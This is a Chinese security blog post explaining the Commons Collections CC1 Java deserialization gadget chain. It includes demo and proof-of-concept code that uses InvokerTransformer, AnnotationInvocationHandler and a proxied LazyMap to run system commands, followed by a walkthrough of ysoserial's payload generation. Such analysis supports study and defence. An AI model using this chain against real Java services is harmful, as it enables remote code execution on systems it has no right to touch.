freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java安全之详解commons-collection包下的反序列化链1
superLeeH 2023-02-14 16:07:36 92474
所属地 四川省

前置

搭建JDK7环境

oracle官网上面下载JDK7的linux版本的.tar.gz文件,千万注意自己的Linux系统是32位的系统还是64位的系统,不然会出现不兼容的情况

在vps上面搭建

  1. 创建对应的文件夹存放对应的JDK源文件sudo mkdir -p /usr/local/java
  2. 解压进入目录中sudo cp -r jdk......tar.gz /usr/local/javasudo tar xvzf jdk.....tar.gz
  3. 编辑环境变量
    sudo vim ~/.bashrc
    写入:
JAVA_HOME=/usr/local/java/jdk1.7.0_80
JRE_HOME=/usr/local/java/jdk1.7.0_80 
PATH=$PATH:$JRE_HOME/bin:$JAVA_HOME/bin

export JAVA_HOME
export JRE_HOME
export PATH

更新alternatives

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.7.0_80/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.7.0_80/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.7.0_80/bin/javaws" 1
sudo update-alternatives --set java /usr/local/java/jdk1.7.0_80/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.7.0_80/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.7.0_80/bin/javaws
  1. 重新加载配置source ~/.bashrc
  2. 验证java环境java -version
简单的demo

一个来自于代码审计知识星球的一个简单的CC1链demo

package pers.serialize;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args){
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {
                                        "calc"
                                }),
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxx");
    }
}

在本机测试会弹出计算器来

其中有些关键的类和接口

TransformedMap
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

是用于对JAVA的标准数据结构Map进行了修饰

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类

Transformer

是一个接口,只有一个带实现的transform方法

特别的是,TransformedMap在转换Map的新元素的时候就会调用该方法

ConstantTransformer

是实现了Transformer接口的一个类

public ConstantTransformer(Object constantToReturn) {
 super();
 iConstant = constantToReturn;
}
public Object transform(Object input) {
 return iConstant;
}

包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作

InvokerTransformer

是一个实现了Transformer接口的一个类,可以执行任意方法

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表

ChainedTransformer

也是实现了Transformer接口,是将内部所有的Transformer给串在一起

分析demo
  1. 使用ConstantTransformer包装了Runtime.getRuntime()对象
  2. 使用InvokerTransformer调用其中的exec函数执行calc命令
  3. 通过使用ChainedTransformer来将两个Transformer串起来
  4. 使用Transformer#decorate来修饰这个链子
  5. 最后通过向Map中新放入一个元素触发漏洞
POC编写

在之前的demo里面,我们通过自己put了一个元素造成了的漏洞的触发,但是在实际中,我们在反序列化过程中需要有一个类的readObject方法有着向Map中写入元素的步骤

这个类就是AnnotationInvocationHandler,所以我们在编造POC的时候需要出创建一个AnnotationInvocationHandler将前面的Map添加进来

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//因为是JDK内部类,不能直接实例化,通过反射获取构造方法
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
//设置位外部可见
construct.setAccessible(true);
//实例化
Object obj = construct.newInstance(Retention.class, outMap);

但是在进行序列化的时候将会出现异常,那是因为Runtime类并没有实现java.io.Serialzie接口,不能够进行序列化

我们可以通过反射获取Runtime来避免这个问题

//Class类实现了java.io.Serialize接口
Method method = Runtime.class.getMethod("getRuntime");
Runtime res = (Runtime) method.invoke(null);
res.exec("calc");

但是虽然生成了序列化之后的字符串,但是不能进行反序列化漏洞触发成功

image-20220319175330599.png

只有当var12不为null的时候才会触发

当前面实例化的时候使用的是Retention.class然后put了一个value为键的键值对,就可以使得它不为Null

但是这个只在低版本的JAVA(Java 8u71以前)中有用

分析

与ysoserial的区别

他没有使用TransformerMap,而是使用了的LazyMap

他们的区别是Transformer是在写入元素的时候执行transformLazyMap是在get一个元素的时候执行transform

但是在sun.reflect.annotation.AnnotationInvocationHandlerreadObject方法并没有get之类得方法,他是通过在其中的invoke方法调用Map的get方法的

至于是如何调用其中的invoke方法,我们通过代理的方法实现

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessiable(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
payload生成分析

同样在getObject处打下断点

image-20220320185532301.png

传入的command为id命令

之后使用了InvokerTransformer和反射的方法获得了Runtime.getRuntime.exec这个可以执行命令的方法

继续跟进

image-20220320190210920.png

创建了一个HashMap用来存储元素

接着进入了Gadgets#createMemoitizedProxy

public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }

对map进行对应操作之后再进行创造一个代理

继续跟进Gadgets#createMemoizedInvocationHandler

public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    }

这个方法返回的是一个InvocationHandler为创建代理做准备

image-20220320191852341.png

这里的ANN_INV_HANDLER_CLASS是本来就预定好了的字符串,是为了后面得到这个类的构造方法方便使用

我们跟进Reflections#getFirstCtor

image-20220320191733788.png

很明显是为了通过反射的到sun.reflect.annotation.AnnotationInvocationHandler这个JDK的内部类,如果成功得到了这个构造函数,后面就会把它设置为外部类方便实例化操作

之后回到了Gadgets#createMemoizedInvocationHandler方法

将实例化之后的InvocationHandler返回,之后执行createProxy方法

public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[ 0 ] = iface;
        if ( ifaces.length > 0 ) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
    }

如果没有进行代理操作,执行iface.cast操作使用Proxy#newProxyInstance方法代理handler

得到了一个mapProxy这个代理map,这里还需要使用sun.reflect.annotation.AnnotationInvocationHandler对这个mapProxy进行包装,方便从readObject这个入口进入

接着进入Reflections#setFieldValue

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
		final Field field = getField(obj.getClass(), fieldName);
		field.set(obj, value);
	}

Transformer[]中的值全部传入了obj中

image-20220320194602568.png

这个obj就是transformerChain,也同时将所有的transformer串在了一起,成为了一个链子

image-20220320195636333.png

最后在这里实现序列化

链子和利用条件

image-20220320204437128.png

同样需要环境是java 8u71之前和具有commons-collections

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 superLeeH 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
superLeeH LV.5
这家伙太懒了,还未填写个人描述!
  • 50 文章数
  • 29 关注者
hutool组件下dynamic proxy和JDBC的部分可用链
2025-03-18
Vaadin组件下的新反序列化链寻找
2025-02-11
json组件下的原生反序列化getter触发
2025-01-13